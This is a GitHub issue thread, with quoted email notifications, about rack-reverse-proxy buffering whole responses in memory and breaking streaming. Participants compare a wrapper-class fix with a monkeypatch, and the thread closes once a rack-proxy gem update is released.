ahh, gotcha.

Calling them in the context of def rack_response function will read the whole response body into the memory first and only then give it back to the user. It does not actually disrupt anything, it just makes it impossible (or very memory-hungry) to do these streaming responses.

To my understanding it is never impossible, it is always memory-hungry. The rack middleware will just gobble up the whole response before sending it on down the line. Assuming that the largest response encountered is acceptable, then this solution is acceptable (if it's solving something...).
But anyway that is perhaps moot because we have a better solution...
class FinishingWrapper
...

😍
Isn't that semantically equivalent to my change to rack-proxy in https://github.com/waterlink/rack-reverse-proxy/issues/41#issuecomment-290236733 ?

It is. It is just in different library and suffers from probable breaking
changes because it uses undocumented API (sending to private method)
On Thu, 30 Mar 2017 at 11:28 PM, John Bachir<EMAIL_ADDRESS>wrote:

ahh, gotcha.
Calling them in the context of def rack_response function will read the
whole response body into the memory first and only then give it back to the
user. It does not actually disrupt anything, it just makes it impossible
(or very memory-hungry) to do these streaming responses.
To my understanding it is never impossible, it is always memory-hungry.
The rack middleware will just gobble up the whole response before sending
it on down the line. Assuming that the largest response encountered is
acceptable, then this solution is acceptable (if it's solving something...).
But anyway that is perhaps moot because we have a better solution...
class FinishingWrapper
...
😍
Isn't that semantically equivalent to my change to rack-proxy in #41
(comment)
https://github.com/waterlink/rack-reverse-proxy/issues/41#issuecomment-290236733
?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/waterlink/rack-reverse-proxy/issues/41#issuecomment-290550330,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAlLFhtvFpzFSyVjWSkMRuXyjET4ghS2ks5rrB55gaJpZM4MordU
.

gotcha
yeah when i monkeypatch i do something like this:
raise "need to check if monkeypatch is still correct" unless "1.2.3" == Rack::Proxy::Version

That is a fantastic idea 💡
On Fri, 31 Mar 2017 at 8:15 PM, John Bachir<EMAIL_ADDRESS>wrote:

gotcha
yeah when i monkeypatch i do something like this:
raise "need to check if monkeypatch is still correct" unless "1.2.3" == Rack::Proxy::Version
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/waterlink/rack-reverse-proxy/issues/41#issuecomment-290788067,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAlLFgRFqcxBVeSh2j8OShtq7HvfvjcQks5rrUKjgaJpZM4MordU
.

Hi there, just pushed a new rack-proxy gem (0.6.1) with a fix from @jjb.

Thanks @ncr!
Closing this now.

Possibly related: https://github.com/puma/puma/pull/1206